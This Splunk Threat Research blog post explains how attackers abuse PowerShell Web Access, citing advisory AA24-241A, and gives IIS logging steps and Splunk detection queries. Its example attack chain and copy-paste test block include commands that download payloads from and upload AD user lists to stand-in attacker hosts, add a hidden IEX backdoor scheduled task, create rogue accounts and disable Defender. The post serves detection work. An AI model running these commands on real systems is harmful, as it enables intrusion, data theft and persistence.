Splunk Inc.

10/17/2024 | News release | Distributed by Public on 10/17/2024 11:41

PowerShell Web Access: Your Network's Backdoor in Plain Sight

Remote administration tools offer immense convenience but may also pose significant security risks. PowerShell Web Access (PSWA) is a prime example-an invaluable resource for system administrators that, if misused, can become a gateway for cyber threats.

This reality has been starkly highlighted in a recent joint Cybersecurity Advisory (CSA) released by the FBI, CISA, and the Department of Defense Cyber Crime Center (DC3). The CSA, coded AA24-241A, warns of ongoing exploitation by Iran-based cyber actors against U.S. and foreign organizations across multiple sectors, including education, finance, healthcare, and defense. These actors, known by various names such as Pioneer Kitten, Fox Kitten, and Lemon Sandstorm, have been conducting high-volume network intrusions since 2017, with activity observed as recently as August 2024.

What makes this threat particularly concerning is the actors' collaboration with ransomware affiliates. The FBI assesses that a significant percentage of these operations aim to obtain and develop network access for deploying ransomware, working with groups like NoEscape, Ransomhouse, and ALPHV (BlackCat).

In this blog post, we'll dive deep into PSWA, exploring its functionality within the context of these threats. We'll examine how adversaries might leverage it as part of their arsenal, and crucially, how defenders can detect and respond to its misuse. By understanding the tactics, techniques, and procedures (TTPs) outlined in the CSA, we can better prepare our defenses against these sophisticated cyber threats.

What is PowerShell Web Access (PSWA)?

PSWA is a Windows Server feature that was introduced in Windows Server 2012 and acts as a gateway that provides a web-based PowerShell console. This console is functionally similar to the PowerShell console that you would see on a local machine. It allows administrators to perform critical management tasks on remote computers from devices that aren't running Windows operating systems or don't have PowerShell installed.

Key features of PSWA include:

  1. Browser-based access: PSWA works with most modern web browsers, providing flexibility in device choice for remote management.
  2. Platform independence: PSWA allows administrators to manage Windows servers from non-Windows devices, including mobile phones and tablets.
  3. Secure communication: PSWA uses HTTPS and requires authentication for all connections, enhancing security for remote management tasks.
  4. Customizable authorization: Administrators may configure granular authorization rules in PSWA
  5. Support for existing PowerShell scripts: Most PowerShell commands and scripts that work in a traditional PowerShell console will also work in PSWA's web-based console.
  6. Integration with Windows authentication: PSWA can be configured to use Active Directory or local machine accounts for authentication.
  7. Remote computer connectivity: Users can connect to remote computers by simply entering the computer name in PSWA's connection settings, allowing for seamless management of multiple machines from a single web interface.

While PSWA offers significant benefits for remote administration, its power and accessibility also make it an attractive target for malicious actors. As highlighted in the CSA, threat actors can potentially exploit this feature to gain and maintain unauthorized access to networks, underscoring the importance of proper configuration, monitoring, and security measures when using this tool.

The Dark Side: How Adversaries Exploit PSWA

While PSWA is a powerful tool for legitimate administrators, it's also an attractive target for adversaries.

In this section, we'll delve into the various methods of enabling PSWA, from GUI-based approaches to command-line techniques, providing a comprehensive overview of how this feature can be activated in a Windows environment. We'll then explore how PSWA functions once enabled, walking through its operational mechanics and the user experience it provides.

This understanding is crucial, as it sets the stage for examining how malicious actors can potentially exploit this feature. By breaking down specific examples of how adversaries might leverage PSWA for unauthorized access, lateral movement, and persistence, we aim to equip defenders with the knowledge to recognize both legitimate and potentially threatening PSWA-related activities in their environment. Through this exploration, we'll highlight key security considerations and potential red flags, empowering you to better anticipate and mitigate PSWA-related threats in your organization's infrastructure.

Enabling PowerShell Web Access

Adversaries or malicious insiders with sufficient privileges can enable PSWA through various methods:

1. Using PowerShell cmdlets

  Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools

or

  Enable-WindowsOptionalFeature -Online -FeatureName WindowsPowerShellWebAccess

In the script we provide, which will be used to install both IIS and PWSA:

Figure 1: Installing IIS and Enabling PowerShell Web Access, Splunk 2024

2. Using DISM command-line tool

  dism /online /enable-feature
/featurename:WindowsPowerShellWebAccess

Figure 2: Installing PowerShell Web Access via DISM.exe, Splunk 2024

3. Using Server Manager GUI

  • Open Server Manager
  • Navigate to "Add Roles and Features"
  • Select "Windows PowerShell Web Access" under "Features"

Figure 3: Installing PowerShell Web Access via Server Manager, Splunk 2024

4. Through PowerShell Remoting

$cred = Get-Credential -Message "Enter credentials for remote access
"Invoke-Command -ComputerName RemoteServer -Credential $cred -ScriptBlock {
Install-WindowsFeature -Name WindowsPowerShellWebAccess
-IncludeManagementTools
}

Figure 4: Installing PowerShell Web Access remotely, Splunk 2024

When it comes to authorizing who can access PSWA, PowerShell has additional cmdlet's that assist us. In our script we use Add-PswaAuthorizationRule to authorize who can gain access.

Add-PswaAuthorizationRule -UserName * -ComputerName * -ConfigurationName *

An admin might accidentally use the command during troubleshooting or while trying to quickly grant access, not realizing it opens up unrestricted access for all users to all computers and PowerShell configurations. This makes the system vulnerable by bypassing critical authorization controls. An adversary who gains admin privileges could run this command to grant themselves and others unlimited access, enabling lateral movement across the network, remote command execution, and potential access to sensitive data, significantly increasing the risk of a full network compromise.

How PSWA Works and Can Be Exploited

Once PSWA is enabled and configured, it can be accessed through a web browser, typically at https://[server_name]/pswa. Note that many of these are default paths and may be modified.

Here is an example attack chain:

1. Credential Theft: If an attacker obtains valid credentials and the PSWA gateway is exposed to the internet, the attacker can log into the PSWA interface from anywhere with internet access.

2. Command Execution: After logging in, the attacker has access to a web-based PowerShell console. They can run commands such as:

   Get-Process  # List running processes   
Get-Service # List services
Get-ChildItem -Path C:\ -Recurse # List all files and directories
Invoke-WebRequest -Uri "http://malicious.com/payload.ps1" -OutFile "C:\payload.ps1" # Download malicious payload

3. Data Exfiltration: Attackers can use PowerShell commands to gather and exfiltrate sensitive data:

   Get-ADUser -Filter * | Export-Csv -Path C:\users.csv  # Export AD user list
   Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -InFile C:\users.csv  # Upload stolen data

4. Lateral Movement: PSWA can be used to connect to other machines on the network:

  Enter-PSSession -ComputerName OtherServer  # Start a remote session on another server

5. Persistence: Attackers can create scheduled tasks or modify startup scripts to maintain access:

  $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -command "& {IEX ((New-Object Net.WebClient).DownloadString(''http://attacker.com/backdoor.ps1''))}"'   
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -Description "Legitimate Task"

6. Stealth: Since PSWA runs in a web browser, it may not trigger the same alerts as traditional remote access tools, allowing attackers to operate undetected for longer periods.

By understanding these methods and potential exploit scenarios, defenders can better monitor for suspicious PSWA activities and implement appropriate security controls.

Atomic Testing for PSWA

To improve your defenses, it's crucial to perform controlled tests of PSWA in your environment. We'll cover several Atomic tests that simulate both the installation and potential abuse of PSWA, allowing you to validate your detection and response capabilities.

As mentioned before, we will utilize our generated script to install IIS and PSWA. https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41

From here, PSWA will be installed and ready to login and test. Utilizing Splunk Attack Range, we will login to https://localhost/pswa in the browser - keeping all IIS items default.

Figure 5: Powershell Web Access login page, Splunk 2024

Once logged in using the Administrator or other credential that has been granted access, we can choose to run tests against the localhost or a remote host. In our example, we are logged into the gateway on ar-win-2 and will set the computer name to ar-win-dc to simulate an adversary using the gateway as a beachhead to access other endpoints remotely.

Figure 6: Diagram of beachhead accessing remote system, Splunk 2024

We can now run similar commands found in the AA24-241A advisory. Feel free to copy and paste into the PSWA window:

# Create user accounts
net user sqladmin$ /add
net user adfsservice /add
net user IIS_Admin /add
net user "John McCain" /add
# Create directories
mkdir C:\Windows\ADFS
mkdir C:\Windows\system32\drivers
# Create scheduled tasks
schtasks /create /tn "SpaceAgentTaskMgrSHR" /tr
"C:\Windows\System32\contig.exe" /sc daily /ru "SYSTEM"

# Create a Windows service
sc create "RandomService" binpath=
"C:\Windows\system32\drivers\RandomService.sys" start= auto
# PowerShell command
spowershell -Command "Set-ExecutionPolicy Unrestricted"
powershell -Command "Invoke-WebRequest -Uri
'https://files.catbox.moe/malicious_file.txt' -OutFile
'C:\malicious_file.txt'" # This will fail or replace with working remote URL.
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
# Export registry hives (simulated)
reg export HKLM\SOFTWARE C:\exported_registry.reg
# Enable PowerShell Web Access
powershell -Command "Install-WindowsFeature -Name
WindowsPowerShellWebAccess"

Figure 7: PowerShell Web Access running commands, Splunk 2024

After that has run, we can review the activity:

Figure 8: PSWA data, Splunk 2024

A Little About wsmprovhost.exe

When diving into PowerShell remoting, you'll often encounter a process named wsmprovhost.exe. But what exactly is this, and why is it so crucial in remote PowerShell sessions?

Wsmprovhost.exe, short for Web Services for Management (WS-Management) Provider Host, is the unsung hero of PowerShell remoting. Think of it as a dedicated butler for your remote PowerShell sessions. When you initiate a remote connection, wsmprovhost.exe springs into action on the target machine, creating a cozy little space (technically, a PowerShell runspace) where your remote commands can run safely and efficiently.

This process acts as a middleman between your local PowerShell session and the remote machine. It receives your commands, executes them in its isolated environment, and then sends the results back to you. It's like having a personal assistant on the remote machine, dedicated to carrying out your PowerShell wishes.

The beauty of wsmprovhost.exe lies in its ability to juggle multiple remote sessions simultaneously. Each connection gets its own wsmprovhost.exe instance, ensuring that remote sessions don't step on each other's toes. This setup not only boosts security by isolating sessions but also allows for smooth sailing in complex scenarios where multiple admins might be connecting to a single server or one admin is managing multiple remote systems.

From a security perspective, understanding wsmprovhost.exe is crucial. When you see this process pop up in your logs or monitoring tools, it's a clear sign that someone's knocking on your PowerShell's remote door. While often legitimate, in the hands of an adversary, it could be the telltale sign of unauthorized remote access.

So, the next time you're troubleshooting PowerShell remoting or investigating suspicious activity, keep an eye out for wsmprovhost.exe. It's not just another process - it's the backbone of PowerShell's remote capabilities, silently enabling the magic of managing machines from afar.

Splunk Security Analytics for PSWA

Splunk's powerful search and analytics capabilities make it an ideal platform for detecting and investigating PSWA-related activities. We'll explore several Splunk queries and dashboards designed to help security teams monitor PSWA usage, detect anomalies, and respond to potential threats.

Enable Logging

In a lab setting while installing PSWA on a fresh server following our script, it will not enable HTTP logging. In a production environment, logging may already be in place. If not, it is important to track and monitor IIS logs. In the instance logging is not enabled, an administrator may run:

PS C:\Users\Administrator\Desktop> Get-Website | Select-Object Name, ID, State, PhysicalPath
name id state physicalPath
---- -- ----- ------------
Default Web Site 1 Started %SystemDrive%\inetpub\wwwroot

Being it is "Default Web Site," run the following:

 Set-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST' -filter "system.applicationHost/sites/site[@name='Default Web Site']/logFile" -name "logFormat" -value "W3C"

That should do the trick, but if logs are not appearing, you may also need the web-Http-Logging to be installed:

Get-WindowsFeature Web-Http-Logging
Install-WindowsFeature Web-Http-Logging

Typically a production IIS server will already have logging enabled. A simple inputs to capture all IIS logs utilizing the Splunk Add-on for Microsoft IIS:

[monitor://C:\inetpub\logs\LogFiles]
disabled = false
sourcetype = ms:iis:splunk
index = win

Security Analytics

The following analytics rely on logs captured on Windows servers that either have IIS installed or not. We will focus on the app pool name along with the web traffic logs to identify PowerShell Web Access. These analytics may also help with identifying a prior installation of PSWA or new.

IIS Server Logs

The following Web datamodel query may assist with identifying IIS servers that are hosting the URI path of `/pswa/`, signaling the access to the PSWA console. Modify the query as needed to limit or restrict it to source of IIS logs or IIS servers.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)  
as lastTime from datamodel=Web where Web.dest IN ("/pswa/*")
by Web.src Web.status Web.uri_path Web.dest Web.http_method
Web.uri_query | `drop_dm_object_name("Web")`| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`

Figure 9: PowerShell Web Access IIS logs, Splunk 2024

A more direct sourcetype query may look like this. Modify it to focus on known IIS server logs and further reduce any false positives by restricting to IIS servers.

sourcetype="ms:iis:splunk" dest IN (/pswa/*)
| stats     
count as event_count,
values(cs_method) as cs_method,
values(cs_uri_stem) as cs_uri_stem,
values(cs_User_Agent_) as cs_User_Agent_
by _time, dest, src_ip, user

Authentication and IIS Application Pool

In general when PSWA is installed, it will create a default application pool in IIS. That default pool is named `pswa_pool`. Note that it is the default, but it may be modified post-installation. We are sharing a few queries covering authentication events focused on the pool name.

There are a few Windows event log channels that produce some noise related to the pool name.

=
Identify psa_pool in 4648 event logs:

`wineventlog_security`  EventCode=4648 SubjectUserName="pswa_pool"  
| fields EventCode, SubjectUserName, TargetUserName, Computer, TargetServerName, ProcessName
| rename Computer as dest
| stats count min(_time) as
firstTime max(_time) as lastTime
count as "Connection Attempts",
dc(TargetUserName) as "Unique Target Accounts",
values(dest) as "PSWA Host",
dc(TargetServerName) as "Unique Target Servers",
values(ProcessName) as "PSWA Process",
values(TargetServerName) as "Target Servers List" | eval PSWA_Running = "Yes",
"PSWA Process" = mvindex(split(mvindex("PSWA Process", 0), "\\"), -1) | fields PSWA_Running, "PSWA Host", "PSWA Process", "Connection Attempts", "Unique Target Accounts", "Unique Target Servers", "Target Servers List", firstTime, lastTime | `security_content_ctime(firstTime)`
|`security_content_ctime(lastTime)`

Figure 10: Hunting for PSWA App Pool name, Splunk 2024

Windows Identify PowerShell Web Access IIS Pool

Based on log analysis and how the authentication events occur with PSWA, we found combining 4625, 4624 and 4648 to be helpful for defenders to see all events in a single query:

`wineventlog_security` (EventCode=4648 OR EventCode=4624 OR EventCode=4625) SubjectUserName="pswa_pool"  
| fields EventCode, SubjectUserName, TargetUserName, Computer, TargetDomainName,TargetServerName, ProcessName, LogonType
| rename Computer as dest
| stats
count(eval(EventCode=4648)) as "Connection Attempts",
count(eval(EventCode=4624)) as "Successful Logons",
count(eval(EventCode=4625)) as "Unsuccessful Logons",
dc(TargetUserName) as "Unique Target Accounts",
values(dest) as "PSWA Host",
dc(TargetDomainName) as "Unique Target Domains",
values(ProcessName) as "PSWA Process",
values(TargetUserName) as "Target Users List",
values(TargetServerName) as "Target Servers List",
values(LogonType) as "Logon Types" |
eval
PSWA_Running = "Yes",
"PSWA Process" = mvindex(split(mvindex("PSWA Process", 0), "\\"), -1) | fields PSWA_Running, "PSWA Host", "PSWA Process", "Connection Attempts", "Successful Logons","Unsuccessful Logons", "Unique Target Accounts", "Unique Target Domains", "Target Users List","Target Servers List", "Logon Types"
| `security_content_ctime(firstTime)`
|`security_content_ctime(lastTime)`

We can see in the results we have successful and unsuccessful login attempts along with the remote destination (TargetServerName) the attempt was against.

In an environment where many systems are running PSWA, these will be combined.

Figure 11: Identifying IIS APP Pools for PSWA, Splunk 2024

Endpoint

As previously discussed, wsmprovhost.exe is a giveaway when it comes to commands being run on either the local attached system or a remote system via PowerShell. Because PSWA uses remoting, we expect it to spawn a child process event off of wsmprovhost.exe.

First, let's identify processes spawning off wsmprovhost.exe to help identify if this normally occurs or not.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where
Processes.parent_process_name=wsmprovhost.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`

Figure 12: wsmprovhost.exe spawning processes, Splunk 2024

We can see in Figure 12 that we have an Administrator account that is spawning PowerShell and cmd.exe on a remote endpoint performing all kinds of functions.

Now, within Splunk Security Content, we have an analytic that assists with identifying PowerShell remoting and will help with identifying this behavior.

Possible Lateral Movement PowerShell Spawn

This analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where
(Processes.parent_process_name=wmiprvse.exe OR
Processes.parent_process_name=services.exe OR
Processes.parent_process_name=svchost.exe OR
Processes.parent_process_name=wsmprovhost.exe OR
Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN ("*c:\\windows\\ccm\\*")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`

Figure 13: Possible Lateral Movement via PowerShell, Splunk 2024

Closing

PowerShell Web Access (PSWA) offers unparalleled flexibility and convenience for legitimate system administrators; it also presents a significant security risk when exploited by malicious actors. As we've explored throughout this blog, the recent joint Cybersecurity Advisory highlighting its exploitation by Iran-based cyber actors underscores the critical need for vigilance and robust security measures.

The power of PSWA lies in its ability to provide remote PowerShell access through a web browser, making it an attractive target for adversaries seeking to gain and maintain unauthorized access to networks. By understanding how PSWA can be enabled, configured, and potentially misused, defenders can better prepare their environments against such threats.

As we've demonstrated through our Atomic testing and Splunk analytics, proactive detection and response capabilities are important. By leveraging tools like Splunk for security analytics, organizations can gain valuable insights into PSWA usage patterns and potential anomalies.

Learn More

This blog helps security analysts and Splunk customers enhance their threat detection capabilities and strengthen their defenses against potential exploitation of PSWA. You can implement the detections in this blog in Splunk Enterprise Security using the Splunk Enterprise Security Content Update app. To view the Splunk Threat Research Team's complete security content repository, visit research.splunk.com.

Feedback

Any feedback or requests? Feel free to put in an issue on Github and we'll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions if you need an invitation to our Splunk user groups on Slack.

Contributors

We would like to thank Michael Haag for authoring this post and the entire Splunk Threat Research Team for their contributions.